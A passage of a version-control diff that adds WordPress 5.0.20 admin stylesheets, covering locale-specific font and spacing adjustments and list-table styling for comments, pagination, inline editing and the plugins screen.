+	font-family: Arial, sans-serif;
+	font-weight: 600;
+}
+
+/* he_IL: Remove Tahoma from the font stack. Arial is best for Hebrew. */
+body.locale-he-il,
+body.locale-he-il .press-this a.wp-switch-editor {
+	font-family: Arial, sans-serif;
+}
+
+/* he_IL: Have <em> be bold rather than italic. */
+.locale-he-il em {
+	font-style: normal;
+	font-weight: 600;
+}
+
+/* zh_CN: Remove italic properties. */
+.locale-zh-cn .howto,
+.locale-zh-cn .tablenav .displaying-num,
+.locale-zh-cn .js .input-with-default-title,
+.locale-zh-cn .link-to-original,
+.locale-zh-cn .inline-edit-row fieldset span.title,
+.locale-zh-cn .inline-edit-row fieldset span.checkbox-title,
+.locale-zh-cn #utc-time,
+.locale-zh-cn #local-time,
+.locale-zh-cn p.install-help,
+.locale-zh-cn p.help,
+.locale-zh-cn p.description,
+.locale-zh-cn span.description,
+.locale-zh-cn .form-wrap p {
+	font-style: normal;
+}
+
+/* zh_CN: Enlarge dashboard widget 'Configure' link */
+.locale-zh-cn .hdnle a { font-size: 12px; }
+
+/* zn_CH: Enlarge font size, set font-size: normal */
+.locale-zh-cn form.upgrade .hint { font-style: normal; font-size: 100%; }
+
+/* zh_CN: Enlarge font-size. */
+.locale-zh-cn #sort-buttons { font-size: 1em !important; }
+
+/* de_DE: Text needs more space for translation */
+.locale-de-de #customize-header-actions .button,
+.locale-de-de-formal #customize-header-actions .button {
+	padding: 0 5px 1px; /* default 0 10px 1px */
+}
+.locale-de-de #customize-header-actions .spinner,
+.locale-de-de-formal #customize-header-actions .spinner {
+	margin: 16px 3px 0; /* default 16px 4px 0 5px */
+}
+
+/* ru_RU: Text needs more room to breathe. */
+.locale-ru-ru #adminmenu {
+	width: inherit; /* back-compat for pre-3.2 */
+}
+.locale-ru-ru #adminmenu,
+.locale-ru-ru #wpbody {
+	margin-left: 0; /* back-compat for pre-3.2 */
+}
+.locale-ru-ru .inline-edit-row fieldset label span.title,
+.locale-ru-ru .inline-edit-row fieldset.inline-edit-date legend {
+	width: 8em; /* default 6em */
+}
+.locale-ru-ru .inline-edit-row fieldset label span.input-text-wrap,
+.locale-ru-ru .inline-edit-row fieldset .timestamp-wrap {
+	margin-left: 8em; /* default 6em */
+}
+.locale-ru-ru.post-php .tagsdiv .newtag,
+.locale-ru-ru.post-new-php .tagsdiv .newtag {
+	width: 165px; /* default 180px - 15px */
+}
+.locale-ru-ru.press-this .posting {
+	margin-right: 277px; /* default 252px + 25px */
+}
+.locale-ru-ru .press-this-sidebar {
+	width: 265px; /* default 240px + 25px */
+}
+.locale-ru-ru #customize-header-actions .button {
+	padding: 0 5px 1px; /* default 0 10px 1px */
+}
+.locale-ru-ru #customize-header-actions .spinner {
+	margin: 16px 3px 0; /* default 16px 4px 0 5px */
+}
+
+/* lt_LT: QuickEdit */
+.locale-lt-lt .inline-edit-row fieldset label span.title,
+.locale-lt-lt .inline-edit-row fieldset.inline-edit-date legend {
+	width: 8em; /* default 6em */
+}
+.locale-lt-lt .inline-edit-row fieldset label span.input-text-wrap,
+.locale-lt-lt .inline-edit-row fieldset .timestamp-wrap {
+	margin-left: 8em; /* default 6em */
+}
+
+@media screen and (max-width: 782px) {
+	.locale-ru-ru .inline-edit-row fieldset label span.input-text-wrap,
+	.locale-ru-ru .inline-edit-row fieldset .timestamp-wrap,
+	.locale-lt-lt .inline-edit-row fieldset label span.input-text-wrap,
+	.locale-lt-lt .inline-edit-row fieldset .timestamp-wrap {
+		margin-left: 0;
+	}
+}
Index: /tags/5.0.20/src/wp-admin/css/list-tables.css
===================================================================
--- /tags/5.0.20/src/wp-admin/css/list-tables.css	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/css/list-tables.css	(revision 56912)
@@ -0,0 +1,2131 @@
+.response-links {
+	display: block;
+	margin-bottom: 1em;
+}
+
+.response-links a {
+	display: block;
+}
+
+.response-links a.comments-edit-item-link {
+	font-weight: 600;
+}
+
+.response-links a.comments-view-item-link {
+	font-size: 12px;
+}
+
+.post-com-count-wrapper strong {
+	font-weight: 400;
+}
+
+.comments-view-item-link {
+	display: inline-block;
+	clear: both;
+}
+
+.column-response .post-com-count-wrapper,
+.column-comments .post-com-count-wrapper {
+	white-space: nowrap;
+	word-wrap: normal;
+}
+
+/* comments bubble common */
+.column-response .post-com-count,
+.column-comments .post-com-count {
+	display: inline-block;
+	vertical-align: top;
+}
+
+/* comments bubble approved */
+.column-response .post-com-count-no-comments,
+.column-response .post-com-count-approved,
+.column-comments .post-com-count-no-comments,
+.column-comments .post-com-count-approved {
+	margin-top: 5px;
+}
+
+.column-response .comment-count-no-comments,
+.column-response .comment-count-approved,
+.column-comments .comment-count-no-comments,
+.column-comments .comment-count-approved {
+	box-sizing: border-box;
+	display: block;
+	padding: 0 8px;
+	min-width: 24px;
+	height: 2em;
+	border-radius: 5px;
+	background-color: #72777c;
+	color: #fff;
+	font-size: 11px;
+	line-height: 21px;
+	text-align: center;
+}
+
+.ie8 .column-response .comment-count-no-comments,
+.ie8 .column-response .comment-count-approved,
+.ie8 .column-comments .comment-count-no-comments,
+.ie8 .column-comments .comment-count-approved {
+	min-width: 0;
+}
+
+.column-response .post-com-count-no-comments:after,
+.column-response .post-com-count-approved:after,
+.column-comments .post-com-count-no-comments:after,
+.column-comments .post-com-count-approved:after {
+	content: "";
+	display: block;
+	margin-left: 8px;
+	width: 0;
+	height: 0;
+	border-top: 5px solid #72777c;
+	border-right: 5px solid transparent;
+}
+
+.column-response .post-com-count-approved:hover .comment-count-approved,
+.column-response .post-com-count-approved:focus .comment-count-approved,
+.column-comments .post-com-count-approved:hover .comment-count-approved,
+.column-comments .post-com-count-approved:focus .comment-count-approved {
+	background: #0073aa;
+}
+
+.column-response .post-com-count-approved:hover:after,
+.column-response .post-com-count-approved:focus:after,
+.column-comments .post-com-count-approved:hover:after,
+.column-comments .post-com-count-approved:focus:after {
+	border-top-color: #0073aa;
+}
+
+/* @todo: consider to use a single rule for these counters and the admin menu counters. */
+.column-response .post-com-count-pending,
+.column-comments .post-com-count-pending {
+	position: relative;
+	left: -3px;
+	padding: 0 5px;
+	min-width: 7px;
+	height: 17px;
+	border: 2px solid #fff;
+	border-radius: 11px;
+	background: #ca4a1f;
+	color: #fff;
+	font-size: 9px;
+	line-height: 17px;
+	text-align: center;
+}
+
+.column-response .post-com-count-no-pending,
+.column-comments .post-com-count-no-pending {
+	display: none;
+}
+
+/* comments */
+
+.commentlist li {
+	padding: 1em 1em .2em;
+	margin: 0;
+	border-bottom: 1px solid #ccc;
+}
+
+.commentlist li li {
+	border-bottom: 0;
+	padding: 0;
+}
+
+.commentlist p {
+	padding: 0;
+	margin: 0 0 .8em;
+}
+
+#submitted-on,
+.submitted-on {
+	color: #555d66;
+}
+
+/* reply to comments */
+#replyrow td {
+	padding: 2px;
+}
+
+#replysubmit {
+	margin: 0;
+	padding: 5px 7px 10px;
+	overflow: hidden;
+}
+
+#replysubmit .button {
+	margin-right: 5px;
+}
+
+#replyrow.inline-edit-row fieldset.comment-reply {
+	font-size: inherit;
+	line-height: inherit;
+}
+
+#replyrow legend {
+	margin: 0;
+	padding: .2em 5px 0;
+	font-size: 13px;
+	line-height: 1.4;
+	font-weight: 600;
+}
+
+#replyrow.inline-edit-row label {
+	display: inline;
+	vertical-align: baseline;
+	line-height: inherit;
+}
+
+#edithead .inside,
+#commentsdiv #edithead .inside {
+	float: left;
+	padding: 3px 0 2px 5px;
+	margin: 0;
+	text-align: center;
+}
+
+#edithead .inside input {
+	width: 180px;
+}
+
+#edithead label {
+	padding: 2px 0;
+}
+
+#replycontainer {
+	padding: 5px;
+}
+
+#replycontent {
+	height: 120px;
+	box-shadow: none;
+}
+
+#replyerror {
+	border-color: #ddd;
+	background-color: #f9f9f9;
+}
+
+/* @todo: is this used? */
+.commentlist .avatar {
+	vertical-align: text-top;
+}
+
+#the-comment-list tr.undo,
+#the-comment-list div.undo {
+	background-color: #f5f5f5;
+}
+
+#the-comment-list .unapproved th,
+#the-comment-list .unapproved td {
+	background-color: #fef7f1;
+}
+
+#the-comment-list .unapproved th.check-column {
+	border-left: 4px solid #d54e21;
+}
+
+#the-comment-list .unapproved th.check-column input {
+	margin-left: 4px;
+}
+
+#the-comment-list .approve a {
+	color: #006505;
+}
+
+#the-comment-list .unapprove a {
+	color: #d98500;
+}
+
+#the-comment-list th,
+#the-comment-list td {
+	box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.1);
+}
+
+#the-comment-list tr:last-child th,
+#the-comment-list tr:last-child td {
+    box-shadow: none;
+}
+
+#the-comment-list tr.unapproved + tr.approved th,
+#the-comment-list tr.unapproved + tr.approved td {
+    border-top: 1px solid rgba(0, 0, 0, 0.03);
+}
+
+/* table vim shortcuts */
+.vim-current,
+.vim-current th,
+.vim-current td {
+	background-color: #e4f2fd !important;
+}
+
+th .comment-grey-bubble {
+	height: 16px;
+	width: 16px;
+}
+
+th .comment-grey-bubble:before {
+	content: "\f101";
+	font: normal 20px/.5 dashicons;
+	speak: none;
+	display: inline-block;
+	padding: 0;
+	top: 4px;
+	left: -4px;
+	position: relative;
+	vertical-align: top;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+	text-decoration: none !important;
+	color: #444;
+}
+
+/*------------------------------------------------------------------------------
+  10.0 - List Posts (/Pages/etc)
+------------------------------------------------------------------------------*/
+
+table.fixed {
+	table-layout: fixed;
+}
+
+.fixed .column-rating,
+.fixed .column-visible {
+	width: 8%;
+}
+
+.fixed .column-posts,
+.fixed .column-date,
+.fixed .column-parent,
+.fixed .column-links,
+.fixed .column-author,
+.fixed .column-format {
+	width: 10%;
+}
+
+.fixed .column-posts {
+	width: 74px;
+}
+
+.fixed .column-comment .comment-author {
+	display: none;
+}
+
+.fixed .column-response,
+.fixed .column-categories,
+.fixed .column-tags,
+.fixed .column-rel,
+.fixed .column-role {
+	width: 15%;
+}
+
+.fixed .column-slug {
+	width: 25%;
+}
+
+.fixed .column-locations {
+	width: 35%;
+}
+
+.fixed .column-comments {
+	width: 5.5em;
+	padding: 8px 0;
+	text-align: left;
+}
+
+.fixed .column-comments .vers {
+	padding-left: 3px;
+}
+
+td.column-title strong,
+td.plugin-title strong {
+	display: block;
+	margin-bottom: .2em;
+	font-size: 14px;
+}
+
+td.column-title p,
+td.plugin-title p {
+	margin: 6px 0;
+}
+
+/* Media file column */
+table.media .column-title .media-icon {
+	float: left;
+	min-height: 60px;
+ 	margin: 0 9px 0 0;
+}
+
+table.media .column-title .media-icon img {
+	max-width: 60px;
+	height: auto;
+	vertical-align: top; /* Remove descender white-space. */
+}
+
+table.media .column-title .has-media-icon ~ .row-actions {
+	margin-left: 70px; /* 60px image + margin */
+}
+
+table.media .column-title .filename {
+	margin-bottom: 0.2em;
+}
+
+/* @todo: pick a consistent list table selector */
+.wp-list-table a {
+	transition: none;
+}
+
+#the-list tr:last-child td,
+#the-list tr:last-child th {
+	border-bottom: none !important;
+	box-shadow: none;
+}
+
+#comments-form .fixed .column-author {
+	width: 20%;
+}
+
+#comments-form .fixed .column-date {
+	width: 14%;
+}
+
+#commentsdiv.postbox .inside {
+	margin: 0;
+	padding: 0;
+}
+
+#commentsdiv .inside .row-actions {
+	line-height:18px;
+}
+
+#commentsdiv .inside .column-author {
+	width: 25%;
+}
+
+#commentsdiv .column-comment p {
+	margin: 0.6em 0;
+	padding: 0;
+}
+
+#commentsdiv #replyrow td {
+	padding: 0;
+}
+
+#commentsdiv p {
+	padding: 8px 10px;
+	margin: 0;
+}
+
+#commentsdiv .comments-box {
+	border: 0 none;
+}
+
+#commentsdiv .comments-box thead th,
+#commentsdiv .comments-box thead td {
+	background: transparent;
+	padding: 0 7px 4px;
+	font-style: italic;
+}
+
+#commentsdiv .comments-box tr:last-child td {
+	border-bottom: 0 none;
+}
+
+#commentsdiv #edithead .inside input {
+	width: 160px;
+}
+
+.sorting-indicator {
+	display: block;
+	visibility: hidden;
+	width: 10px;
+	height: 4px;
+	margin-top: 8px;
+	margin-left: 7px;
+}
+
+.sorting-indicator:before {
+	content: "\f142";
+	font: normal 20px/1 dashicons;
+	speak: none;
+	display: inline-block;
+	padding: 0;
+	top: -4px;
+	left: -8px;
+	color: #444;
+	line-height: 10px;
+	position: relative;
+	vertical-align: top;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+	text-decoration: none !important;
+	color: #444;
+}
+
+.column-comments .sorting-indicator:before {
+	top: 0;
+	left: -10px;
+}
+
+th.sorted.asc .sorting-indicator:before,
+th.desc:hover span.sorting-indicator:before,
+th.desc a:focus span.sorting-indicator:before {
+	content: "\f142";
+}
+
+th.sorted.desc .sorting-indicator:before,
+th.asc:hover span.sorting-indicator:before,
+th.asc a:focus span.sorting-indicator:before {
+	content: "\f140";
+}
+
+.wp-list-table .toggle-row {
+	position: absolute;
+	right: 8px;
+	top: 10px;
+	display: none;
+	padding: 0;
+	width: 40px;
+	height: 40px;
+	border: none;
+	outline: none;
+	background: transparent;
+}
+
+.wp-list-table .toggle-row:hover {
+	cursor: pointer;
+}
+
+.wp-list-table .toggle-row:focus:before {
+    box-shadow:
+    	0 0 0 1px #5b9dd9,
+		0 0 2px 1px rgba(30, 140, 190, .8);
+}
+
+.ie8 .wp-list-table .toggle-row:focus:before {
+	outline: #5b9dd9 solid 1px;
+}
+
+.wp-list-table .toggle-row:active {
+	box-shadow: none;
+}
+
+.wp-list-table .toggle-row:before {
+	position: absolute;
+	top: -5px;
+	left: 10px;
+	border-radius: 50%;
+	display: block;
+	padding: 1px 2px 1px 0;
+	color: #444; /* same as table headers sort arrows */
+	content: "\f140";
+	font: normal 20px/1 dashicons;
+	line-height: 1;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+	speak: none;
+}
+
+.wp-list-table .is-expanded .toggle-row:before {
+	content: "\f142";
+}
+
+tr.wp-locked .locked-indicator {
+	margin-left: 6px;
+	height: 20px;
+	width: 16px;
+}
+
+tr.wp-locked .locked-indicator-icon:before {
+	color: #82878c;
+	content: "\f160";
+	display: inline-block;
+	font: normal 20px/1 dashicons;
+	speak: none;
+	vertical-align: middle;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+}
+
+tr.wp-locked .check-column label,
+tr.wp-locked .check-column input[type="checkbox"],
+tr.wp-locked .row-actions .inline,
+tr.wp-locked .row-actions .trash {
+	display: none;
+}
+
+tr .locked-info {
+	height: 0;
+	opacity: 0;
+}
+
+tr.wp-locked .locked-info {
+	margin-top: 4px;
+	height: auto;
+	opacity: 1;
+}
+
+.locked-text {
+	vertical-align: top;
+}
+
+tr.locked-info, tr.wp-locked .locked-info {
+	transition: height 1s, opacity 0.5s;
+}
+
+.fixed .column-comments .sorting-indicator {
+	margin-top: 3px;
+}
+
+#menu-locations-wrap .widefat {
+	width: 60%;
+}
+
+.widefat th.sortable,
+.widefat th.sorted {
+	padding: 0;
+}
+
+th.sortable a,
+th.sorted a {
+	display: block;
+	overflow: hidden;
+	padding: 8px;
+}
+
+.fixed .column-comments.sortable a,
+.fixed .column-comments.sorted a {
+	padding: 8px 0;
+}
+
+th.sortable a span,
+th.sorted a span {
+	float: left;
+	cursor: pointer;
+}
+
+th.sorted .sorting-indicator,
+th.desc:hover span.sorting-indicator,
+th.desc a:focus span.sorting-indicator,
+th.asc:hover span.sorting-indicator,
+th.asc a:focus span.sorting-indicator {
+	visibility: visible;
+}
+
+/* Bulk Actions */
+.tablenav-pages a,
+.tablenav-pages-navspan {
+	font-weight: 600;
+	padding: 0 2px;
+}
+
+.tablenav-pages .current-page {
+	margin: 0 2px 0 0;
+	padding-bottom: 5px;
+	font-size: 13px;
+	text-align: center;
+}
+
+.tablenav .total-pages {
+	margin-right: 2px;
+}
+
+.tablenav #table-paging {
+	margin-left: 2px;
+}
+
+.tablenav a.button,
+.tablenav a.button-secondary {
+	display: block;
+	margin: 3px 8px 0 0;
+}
+
+.tablenav {
+	clear: both;
+	height: 30px;
+	margin: 6px 0 4px;
+	vertical-align: middle;
+}
+
+.tablenav.themes {
+	max-width: 98%;
+}
+
+.tablenav .tablenav-pages {
+	float: right;
+	height: 28px;
+	margin-top: 3px;
+	cursor: default;
+	color: #555;
+}
+
+.tablenav .no-pages,
+.tablenav .one-page .pagination-links {
+	display: none;
+}
+
+.tablenav .tablenav-pages a,
+.tablenav-pages span.current  {
+	text-decoration: none;
+	padding: 3px 6px;
+}
+
+.tablenav .tablenav-pages a,
+.tablenav-pages-navspan {
+	display: inline-block;
+	min-width: 17px;
+	border: 1px solid #ccc; /* same color as buttons border */
+	padding: 3px 5px 7px;
+	background: #e5e5e5;
+	font-size: 16px;
+	line-height: 1;
+	font-weight: 400;
+	text-align: center;
+}
+
+.tablenav-pages-navspan {
+	height: 16px;
+	border-color: #ddd; /* same as disabled buttons */
+	background: #f7f7f7; /* same as disabled buttons */
+	color: #a0a5aa; /* same as disabled buttons */
+}
+
+.tablenav .tablenav-pages a:hover,
+.tablenav .tablenav-pages a:focus {
+	border-color: #5b9dd9;
+	color: #fff;
+	background: #00a0d2;
+	box-shadow: none;
+	outline: none; /* IE8 */
+}
+
+.tablenav .displaying-num {
+	margin-right: 7px;
+}
+
+.tablenav .one-page .displaying-num {
+	display: inline-block;
+	margin-top: 5px;
+	margin-right: 0;
+}
+
+.tablenav .actions {
+	overflow: hidden;
+	padding: 2px 8px 0 0;
+}
+
+.wp-filter .actions {
+	display: inline-block;
+	vertical-align: middle;
+}
+
+.tablenav .delete {
+	margin-right: 20px;
+}
+
+/* @todo: unclear if the following tablenav rules are actually used.
+classes exist in paginate_links() but not seen in list table output. */
+.tablenav .dots {
+	border-color: transparent;
+}
+
+.tablenav .next,
+.tablenav .prev {
+	border-color: transparent;
+	color: #0073aa;
+}
+
+.tablenav .next:hover,
+.tablenav .prev:hover {
+	border-color: transparent;
+	color: #00a0d2;
+}
+
+.tablenav .view-switch {
+	float: right;
+	margin: 0 5px;
+	padding-top: 3px;
+}
+
+.wp-filter .view-switch {
+	display: inline-block;
+	vertical-align: middle;
+	padding: 12px 0;
+	margin: 0 8px 0 2px;
+}
+
+.media-toolbar.wp-filter .view-switch {
+	margin: 0 12px 0 2px;
+}
+
+.view-switch a {
+	float: left;
+	width: 28px;
+	height: 28px;
+	text-align: center;
+	line-height: 24px;
+	text-decoration: none;
+}
+
+.view-switch a:before {
+	color: #b4b9be;
+	display: inline-block;
+	font: normal 20px/1 dashicons;
+	speak: none;
+	vertical-align: middle;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+}
+
+.view-switch a:hover:before,
+.view-switch a:focus:before {
+	color: #727272;
+}
+
+.view-switch a.current:before {
+	color: #0073aa;
+}
+
+.view-switch .view-list:before {
+	content: "\f163";
+}
+
+.view-switch .view-excerpt:before {
+	content: "\f164";
+}
+
+.view-switch .view-grid:before {
+	content: "\f509";
+}
+
+.filter {
+	float: left;
+	margin: -5px 0 0 10px;
+}
+
+.filter .subsubsub {
+	margin-left: -10px;
+	margin-top: 13px;
+}
+.screen-per-page {
+	width: 4em;
+}
+
+#posts-filter .wp-filter {
+	margin-bottom: 0;
+}
+
+#posts-filter fieldset {
+	float: left;
+	margin: 0 1.5ex 1em 0;
+	padding: 0;
+}
+
+#posts-filter fieldset legend {
+	padding: 0 0 .2em 1px;
+}
+
+p.pagenav {
+	margin: 0;
+	display: inline;
+}
+
+.pagenav span {
+	font-weight: 600;
+	margin: 0 6px;
+}
+
+.row-title {
+	font-size: 14px !important;
+	font-weight: 600;
+}
+
+.column-comment .comment-author {
+	margin-bottom: 0.6em;
+}
+
+.column-author img,
+.column-username img,
+.column-comment .comment-author img {
+	float: left;
+	margin-right: 10px;
+	margin-top: 1px;
+}
+
+.row-actions {
+	color: #ddd;
+	font-size: 13px;
+	padding: 2px 0 0;
+	position: relative;
+	left: -9999em;
+}
+
+/* ticket #34150 */
+.rtl .row-actions a {
+	display: inline-block;
+}
+
+.row-actions .network_only,
+.row-actions .network_active {
+	color: #000;
+}
+
+.no-js .row-actions,
+tr:hover .row-actions,
+.mobile .row-actions,
+.row-actions.visible,
+.comment-item:hover .row-actions {
+	position: static;
+}
+
+/* deprecated */
+.row-actions-visible {
+	padding: 2px 0 0;
+}
+
+
+/*------------------------------------------------------------------------------
+  10.1 - Inline Editing
+------------------------------------------------------------------------------*/
+
+/*
+.quick-edit* is for Quick Edit
+.bulk-edit* is for Bulk Edit
+.inline-edit* is for everything
+*/
+
+/*	Layout */
+
+#wpbody-content .inline-edit-row fieldset {
+	font-size: 12px;
+	float: left;
+	margin: 0;
+	padding: 0;
+	width: 100%;
+}
+
+tr.inline-edit-row td,
+#wpbody-content .inline-edit-row fieldset .inline-edit-col {
+	padding: 0 0.5em;
+}
+
+#wpbody-content .quick-edit-row-post .inline-edit-col-left {
+	width: 40%;
+}
+
+#wpbody-content .quick-edit-row-post .inline-edit-col-right {
+	width: 39%;
+}
+
+#wpbody-content .inline-edit-row-post .inline-edit-col-center {
+	width: 20%;
+}
+
+#wpbody-content .quick-edit-row-page .inline-edit-col-left {
+	width: 50%;
+}
+
+#wpbody-content .quick-edit-row-page .inline-edit-col-right,
+#wpbody-content .bulk-edit-row-post .inline-edit-col-right {
+	width: 49%;
+}
+
+#wpbody-content .bulk-edit-row .inline-edit-col-left {
+	width: 30%;
+}
+
+#wpbody-content .bulk-edit-row-page .inline-edit-col-right {
+	width: 69%;
+}
+
+#wpbody-content .bulk-edit-row .inline-edit-col-bottom {
+	float: right;
+	width: 69%;
+}
+
+#wpbody-content .inline-edit-row-page .inline-edit-col-right {
+	margin-top: 27px;
+}
+
+.inline-edit-row fieldset .inline-edit-group {
+	clear: both;
+	line-height: 2.5;
+}
+
+.inline-edit-row .submit {
+	clear: both;
+	padding: 0.5em;
+	margin: 0.5em 0 0;
+}
+
+.inline-edit-row .notice-error {
+	margin-top: 1em;
+}
+
+.inline-edit-row .notice-error .error {
+	margin: 0.5em 0;
+	padding: 2px;
+}
+
+/*	Positioning */
+
+/* Needs higher specificity for the padding */
+#the-list .inline-edit-row .inline-edit-legend {
+	margin: 0;
+	padding: 0.2em 0.5em 0;
+	line-height: 2.5;
+	font-weight: 600;
+}
+
+#the-list #bulk-edit.inline-edit-row .inline-edit-legend {
+	padding: 0.2em 0.5em;
+}
+
+.inline-edit-row fieldset span.title,
+.inline-edit-row fieldset span.checkbox-title {
+	margin: 0;
+	padding: 0;
+}
+
+.inline-edit-row fieldset label,
+.inline-edit-row fieldset span.inline-edit-categories-label {
+	display: block;
+	margin: .2em 0;
+	line-height: 2.5;
+}
+
+.inline-edit-row fieldset.inline-edit-date label {
+	display: inline-block;
+	margin: 0;
+	line-height: 1.5;
+	vertical-align: baseline;
+}
+
+.inline-edit-row fieldset label.inline-edit-tags {
+	margin-top: 0;
+}
+
+.inline-edit-row fieldset label.inline-edit-tags span.title {
+	margin: .2em 0;
+	width: auto;
+}
+
+.inline-edit-row fieldset label span.title,
+.inline-edit-row fieldset.inline-edit-date legend {
+	display: block;
+	float: left;
+	width: 6em;
+	line-height: 2.5;
+}
+
+#posts-filter fieldset.inline-edit-date legend {
+	padding: 0;
+}
+
+.inline-edit-row fieldset.inline-edit-date select {
+	margin: 1px;
+	line-height: 28px;
+}
+
+.inline-edit-row fieldset label span.input-text-wrap,
+.inline-edit-row fieldset .timestamp-wrap {
+	display: block;
+	margin-left: 6em;
+}
+
+.quick-edit-row-post fieldset.inline-edit-col-right label span.title {
+	width: auto;
+	padding-right: 0.5em;
+}
+
+.inline-edit-row .inline-edit-or {
+	margin: .2em 6px .2em 0;
+	line-height: 2.5;
+}
+
+.inline-edit-row .input-text-wrap input[type=text] {
+	width: 100%;
+}
+
+.inline-edit-row fieldset label input[type=checkbox] {
+	vertical-align: middle;
+}
+
+.inline-edit-row fieldset label textarea {
+	width: 100%;
+	height: 4em;
+	vertical-align: top;
+}
+
+#wpbody-content .bulk-edit-row fieldset .inline-edit-group label {
+	max-width: 50%;
+}
+
+#wpbody-content .quick-edit-row fieldset .inline-edit-group label.alignleft:first-child {
+	margin-right: 0.5em
+}
+
+.inline-edit-col-right .input-text-wrap input.inline-edit-menu-order-input {
+	width: 6em;
+}
+
+/*	Styling */
+.inline-edit-row .inline-edit-legend {
+	text-transform: uppercase;
+}
+
+.inline-edit-row fieldset span.title,
+.inline-edit-row fieldset span.checkbox-title {
+	font-style: italic;
+}
+
+/*	Specific Elements */
+.inline-edit-row fieldset .inline-edit-date {
+	float: left;
+}
+
+.inline-edit-row fieldset input[name=jj],
+.inline-edit-row fieldset input[name=hh],
+.inline-edit-row fieldset input[name=mn] {
+	font-size: 12px;
+	width: 2.3em;
+}
+
+.inline-edit-row fieldset input[name=aa] {
+	font-size: 12px;
+	width: 3.5em;
+}
+
+.inline-edit-row fieldset label input.inline-edit-password-input {
+	width: 8em;
+}
+
+ul.cat-checklist {
+	height: 12em;
+	border: solid 1px #ddd;
+	overflow-y: scroll;
+	padding: 0 5px;
+	margin: 0;
+	background-color: #fff;
+}
+
+#bulk-titles {
+	display: block;
+	height: 12em;
+	border: 1px solid #ddd;
+	overflow-y: scroll;
+	padding: 0 5px;
+	margin: 0 0 5px;
+}
+
+.inline-edit-row fieldset ul.cat-checklist li,
+.inline-edit-row fieldset ul.cat-checklist input {
+	margin: 0;
+	position: relative; /* RTL fix, #WP27629 */
+}
+
+.inline-edit-row fieldset ul.cat-checklist label,
+.inline-edit-row #bulk-titles div {
+	font-style: normal;
+	font-size: 11px;
+}
+
+.inline-edit-row fieldset label input.inline-edit-menu-order-input {
+	width: 3em;
+}
+
+.inline-edit-row fieldset label input.inline-edit-slug-input {
+	width: 75%;
+}
+
+.inline-edit-row #post_parent,
+.inline-edit-row select[name="page_template"] {
+	max-width: 80%;
+}
+
+.ie8 .inline-edit-row #post_parent,
+.ie8 .inline-edit-row select[name="page_template"] {
+	width: 250px;
+}
+
+.quick-edit-row-post fieldset label.inline-edit-status {
+	float: left;
+}
+
+#bulk-titles {
+	line-height: 140%;
+}
+#bulk-titles div {
+	margin: 0.2em 0.3em;
+}
+
+#bulk-titles div a {
+	cursor: pointer;
+	display: block;
+	float: left;
+	height: 18px;
+	margin: 0 3px 0 -2px;
+	overflow: hidden;
+	position: relative;
+	width: 20px;
+}
+
+#bulk-titles div a:before {
+	position: relative;
+	top: -3px;
+}
+
+/*------------------------------------------------------------------------------
+  17.0 - Plugins
+------------------------------------------------------------------------------*/
+
+.plugins tbody th.check-column,
+.plugins tbody {
+	padding: 8px 0 0 2px;
+}
+
+.plugins tbody th.check-column input[type=checkbox] {
+	margin-top: 4px;
+}
+
+.updates-table .plugin-title p {
+	margin-top: 0;
+}
+
+.plugins thead td.check-column,
+.plugins tfoot td.check-column,
+.plugins .inactive th.check-column {
+	padding-left: 6px;
+}
+
+.plugins,
+.plugins th,
+.plugins td {
+	color: #000;
+}
+
+.plugins tr {
+	background: #fff;
+}
+
+.plugins p {
+	margin: 0 4px;
+	padding: 0;
+}
+
+.plugins .desc p {
+	margin: 0 0 8px;
+}
+
+.plugins td.desc {
+	line-height: 1.5em;
+}
+
+.plugins .desc ul,
+.plugins .desc ol {
+	margin: 0 0 0 2em;
+}
+
+.plugins .desc ul {
+	list-style-type: disc;
+}
+
+.plugins .row-actions {
+	font-size: 13px;
+	padding: 0;
+}
+
+.plugins .inactive td,
+.plugins .inactive th,
+.plugins .active td,
+.plugins .active th {
+	padding: 10px 9px;
+}
+
+.plugins .active td,
+.plugins .active th {
+	background-color: #f7fcfe;
+}
+
+.plugins .update th,
+.plugins .update td {
+	border-bottom: 0;
+}
+
+.plugins .inactive td,
+.plugins .inactive th,
+.plugins .active td,
+.plugins .active th,
+.plugin-install #the-list td,
+.upgrade .plugins td,
+.upgrade .plugins th {
+	box-shadow: inset 0 -1px 0 rgba(0,0,0,0.1);
+}
+
+.plugins tr.active.plugin-update-tr + tr.inactive th,
+.plugins tr.active.plugin-update-tr + tr.inactive td,
+.plugins tr.active + tr.inactive th,
+.plugins tr.active + tr.inactive td {
+	border-top: 1px solid rgba(0,0,0,0.03);
+	box-shadow: inset 0 1px 0 rgba(0,0,0,0.02), inset 0 -1px 0 #e1e1e1;
+}
+
+.plugins .update td,
+.plugins .update th,
+.upgrade .plugins tr:last-of-type td,
+.upgrade .plugins tr:last-of-type th,
+.plugins tr.active + tr.inactive.update th,
+.plugins tr.active + tr.inactive.update td,
+.plugins .updated td,
+.plugins .updated th,
+.plugins tr.active + tr.inactive.updated th,
+.plugins tr.active + tr.inactive.updated td {
+	box-shadow: none;
+}
+
+.plugins .active th.check-column,
+.plugin-update-tr.active td {
+	border-left: 4px solid #00a0d2;
+}
+
+.wp-list-table.plugins .plugin-title,
+.wp-list-table.plugins .theme-title {
+	padding-right: 12px;
+	white-space: nowrap;
+}
+
+.plugins .plugin-title img,
+.plugins .plugin-title .dashicons {
+	float: left;
+	padding: 0 10px 0 0;
+	width: 64px;
+	height: 64px;
+}
+
+.plugins .plugin-title .dashicons:before {
+	padding: 2px;
+	background-color: #eee;
+	box-shadow: inset 0 0 10px rgba(160,165,170,.15);
+	font-size: 60px;
+	color: #B4B9BE;
+}
+
+#update-themes-table .plugin-title img,
+#update-themes-table .plugin-title .dashicons {
+	width: 85px;
+}
+
+.plugins .inactive .plugin-title strong {
+	font-weight: 400;
+}
+
+.plugins .second,
+.plugins .row-actions {
+	padding: 0 0 5px;
+}
+
+.plugins .update .second,
+.plugins .update .row-actions,
+.plugins .updated .second,
+.plugins .updated .row-actions {
+	padding-bottom: 0;
+}
+
+.plugins-php .widefat tfoot th,
+.plugins-php .widefat tfoot td {
+	border-top-style: solid;
